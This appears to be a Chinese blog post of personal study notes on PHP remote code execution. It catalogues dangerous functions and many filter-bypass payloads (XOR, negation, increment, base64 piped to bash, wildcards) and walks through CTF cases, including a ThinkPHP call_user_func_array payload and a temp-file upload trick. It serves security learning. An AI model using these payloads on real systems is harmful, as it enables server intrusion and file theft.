RCE漏洞【个人学习笔记】

RCE漏洞

在Web应用开发中为了灵活性、简洁性等会让应用调用代码执行函数系统命令执行函数处理,若应用对用户的输入过滤不严,容易产生远程代码执行漏洞或系统命令执行漏洞

常见RCE漏洞函数

系统命令执行函数

system():能将字符串作为OS命令执行,且返回命令执行结果;

  • system(“cat /flag”)才能读取flag,不要把双引号漏掉!!!
  • get传参的时候不用使用引号

exec():能将字符串作为OS命令执行,但是只返回执行结果的最后一行(约等于无回显),但不会输出;

  • exec()不会回显,所以需要输出到文件中进行查看
  • 可以使用exec(ls / | tee 1.txt),然后输入网址/1.txt来查看

shell_exec():能将字符串作为OS命令执行

passthru():能将字符串作为OS命令执行,只调用命令不返回任何结果,但把命令的运行结果原样输出到标准输出设备上;

popen():打开进程文件指针

proc_open():与popen()类似

pcntl_exec():在当前进程空间执行指定程序;

反引号:反引号内的字符串会被解析为OS命令;

代码执行函数

eval():将字符串作为php代码执行;

assert():将字符串作为php代码执行;

preg_replace():正则匹配替换字符串;

create_function():主要创建匿名函数;

call_user_func():回调函数,第一个参数为函数名,第二个参数为函数的参数;

call_user_func_array():回调函数,第一个参数为函数名,第二个参数为函数参数的数组;

可变函数:若变量后有括号,该变量会被当做函数名为变量值(前提是该变量值是存在的函数名)的函数执行;

RCE绕过
管道符
管道符实例描述
;A;B无论真假,A与B都执行
&A&B无论真假,A与B都执行
&&A&&BA为真时才执行B,否则只执行A
|A|B显示B的执行结果
||A||BA为假时才执行B,否则只执行A
空格过滤
以下可代替空格
<<>%20(即space)
%09(即tab)$IFS$9${IFS}
$IFS{cat,/flag}
反斜杠\绕过
//如cat、ls被过滤,使用\绕过
c\at /flag
l\s /
取反绕过
//取反绕过
<?php
// 向标准输出写入提示信息,要求用户输入一个函数名
fwrite(STDOUT,'[+]your function: ');

// 从标准输入读取一行用户输入,移除回车符,并存储在$system变量中
// 注意:这里没有对输入进行验证或过滤,存在安全风险
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

// 向标准输出写入提示信息,要求用户输入一个命令
fwrite(STDOUT,'[+]your command: ');

// 从标准输入读取一行用户输入,移除回车符,并存储在$command变量中
// 同样,这里也没有对输入进行验证或过滤,存在安全风险
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

// 然后对结果进行URL编码,并输出一个格式化的字符串
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
?>
异或绕过
# 异或构造Python脚本
valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ "
 
answer = input('输入异或构造的字符串:')
 
tmp1, tmp2 = '', ''
for c in answer:
    for i in valid:
        for j in valid:
            if ord(i) ^ ord(j) == ord(c):
                tmp1 += i
                tmp2 += j
                break
        else:
            continue
        break
 
print(f'"{tmp1}"^"{tmp2}"')
//异或php脚本

<?php
$a = 'phpinfo';
for ($i = 0; $i < strlen($a); $i++)
    echo '%'.dechex(ord($a[$i])^0xff);
echo "^";
for ($j = 0; $j < strlen($a); $j++)
    echo "%ff";
?>
//ord($a[$i]):这个部分是获取字符串 $a 中索引为 $i 的字符的 ASCII 值。
//^0xff:这个部分是对 ASCII 值执行异或操作,将其与十六进制数 0xff 进行异或操作,相当于将其每个比特位都取反。
//dechex():这个函数将十进制数转换为十六进制表示。
//echo '%' . dechex(ord($a[$i])^0xff);:最终将转换后的十六进制数输出,以 '%' 开头。

//输出:%8f%97%8f%96%91%99%90^%ff%ff%ff%ff%ff%ff%ff
    
//简单例题:flag在phpinfo()中,需要执行php命令:phpinfo();

<?php
show_source(__FILE__); // 将会在页面中显示当前文件的源代码。
$mess = $_POST['mess'];
if(preg_match("/[a-zA-Z]/", $mess)){
    die("invalid input!");
}
eval($mess);

//构造payload,字符串phpinfo异或结果为“0302181"^"@[@[_^^”

mess = $_="0302181"^"@[@[_^^";$_();
自增绕过
//自增payload,assert($_POST[_]),命令传入_
 
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);&_=phpinfo();
黑名单绕过
//变量拼接,如flag被过滤
将:
cat /flag
替换为:
b=ag;cat /fl$b
 
//读取根目录
eval(var_dump(scandir('/'););
//或使用glob("*")来查看所有的文件
//读flag
eval(var_dump(file_get_contents($_POST['a'])););&a=/flag
 
 
 
//等效于打开ls目录下的文件
cat `ls`
 
//_被过滤,php8以下,变量名中的第一个非法字符[会被替换为下划线_
N[S.S等效于N_S.S
php需要接收e_v.a.l参数,给e[v.a.l传参即可
 
//php标签绕过
?><?= phpinfo(); ?>
base和hex编码绕过
//base64编码绕过,编码cat /flag,反引号、| bash、$()用于执行系统命令
`echo Y2F0IC9mbGFn | base64 -d`
echo Y2F0IC9mbGFn | base64 -d | bash
$(echo Y2F0IC9mbGFn | base64 -d)
 
//hex编码绕过,编码cat /flag,| bash用于执行系统命令
echo '636174202f666c6167' | xxd -r -p | bash
 
//shellcode编码
//十六进制编码
正则匹配绕过
//如flag被过滤
cat /f???
cat /fl*
cat /f[a-z]{3}
cat `ls`(会先执行ls,然后再cat,如果flag.php刚好在ls底下的话)
引号绕过
//如cat、ls被绕过
ca""t /flag
l's' /
cat替换命令
morelesscattac
headtailvivim
nlodsortuniq
stringspaste
tac与cat相反,按行反相输出
more按页显示,用于文件内容较多且不能滚动屏幕时查看文件
less与more类似
tail查看文件末几行
head查看文件首几行
nl在cat查看文件的基础上显示行号
od以二进制方式读文件,od -A d -c /flag转入可读字符
xxd以二进制方式读文件,同时有可读字符显示
sort排序文件
uniq报告或删除文件的重复行
file -f报错文件内容
grep过滤查找字符串,grep flag /flag
回溯绕过
//php正则的回溯次数大于1000000次时返回False
$a = 'hello world'+'h'*1000000
preg_match("/hello.*world/is",$a) == False
无回显RCE

利用getallheaders()、get_defined_vars()、session_id等;

无字母数字RCE

异或、取反、自增、临时文件上传;

问号过滤

使用php执行linux命令,即重新写一段php代码。

案例1

源码:

 <?php
    if(isset($_GET['word'])){
    $word = $_GET['word'];
    if (preg_match("/cat|tac|tail|more|head|nl|flag|less| /", $word)){
       die("nonono.");
    }
    $word = str_replace("?", "", $word);
    eval("?>". $word);
}else{
    highlight_file(__FILE__);
}

解题流程:

  1. 问号过滤——
<script language='php'>system('ls /')</script>
  1. 空格过滤——%09
<script%09language='php'>system('ls%09/')</script>
  1. flag过滤——通配符
<script%09language='php'>system('cat%09/fl*')</script>
  1. 读取文件内容——strings/paste
<script%09language='php'>system('strings%09/fl*')</script>
"/"被过滤
127.0.0.1|ls;cd 已知目录;ls;cd...进行绕
截断被过滤
后面:&&(要进行url编码成%26%26)||%0a,
语句中:%09<(用于拼接命令,比如nl<fl??.php)''$IFS
hash_hmac()

语法:

hash_hmac ( string $algo , string $data , string $key [, bool $raw_output = FALSE ] ) : string

参数说明:
algo:使用的哈希算法,例如“md5”、“sha256”等。
data:要哈希的消息。
key:密钥(字符串)用于对消息进行哈希。
raw_output:如果设置为TRUE,则返回原始二进制数据。否则,默认以十六进制字符串格式输出。

如果$data传入的值为数组,那么就会返回NULL

所以假如 d a t a = data= data=_POST[‘a’];那么令a[]=1即可整个函数的返回值为null

RCE漏洞危害
  • 继承Web服务器程序权限,去执行系统命令;
  • 继承Web服务器权限,读写文件;
  • 反弹shell;
  • 控制整个网站甚至是服务器;
RCE漏洞防护
  • 对用户的输入作严格的过滤,如白名单策略
  • 尽量不适用容易产生漏洞的危险函数
  • 保证用户不用控制危险函数的传参
案例
一(你看懂了吗?)

谁帮我看看这段代码什么意思:s=index/think\App/invokeFunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

二(我嘞个豆,直接highlight_file就可以了吗?)
  1. 页面提示存在代码执行

    image-20241112203512937

  2. 输入?cmd=system("ls");没有反应,但是输入?cmd=phpinfo();却可以执行。

  3. 可以查看页面下存在哪些文件,输入?cmd=print_r(scandir("./"));?cmd=print_r(glob("*"));都可以查看目录下文件

    image-20241112203900973

  4. 输入?cmd=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");即可获取flag。

三(不是哥们,你过滤的有点多啊?!)

题目源码

    <?php
        if(isset($_GET['cmd'])){
            $cmd=$_GET['cmd'];
            highlight_file(__FILE__);
            if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){
            
                die("cerror");
            }
            if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
                die("serror");
            }
            eval($cmd);
        
        }
    
     ?>

此段代码要求cmd不能含有除了p以外的大小写字母和数字,且不能含有特殊字符:$~!@#%^&等等。可以使用的有:p ` ? / + < > =

关键就是自己写一个读取的文件,然后该文件会生成一个临时文件,通过eval($cmd)来读取这个临时文件以来运行读取的文件。

1.构造cmd:cmd=?><?=`.+/??p/p?p??????`,由eval$cmd)来运行临时文件
2.<?= $cmd ?> 等于 <?php echo($cmd) ?>
3.在php中反引号的作用是命令替换,将其中的字符串当成shell命令执行,返回命令的执行结果。
4. 点命令等于source命令,用来执行文件
5.URL编码中空格为%20+表示为%2B。然而url中+也可以表示空格,要表示+号必须得用%2B。   
6.临时文件命名规则: 默认为 php+4或者6位随机数字和大小写字母,在windows下有tmp后缀,linux没有。比如windows下:phpXXXXXX.tmp  linux下:phpXXXXXX。
7.通配符:问号?代表一个任意字符,通配符/??p/p?p??????匹配/tmp/phpxxxxxx

用burpsuite发送POST请求,上传文件(不是呀,为什么纪要上传文件啊?框出的为要修改的部分)。

image-20241225202409238image-20241225202428710

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

lx_xy

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值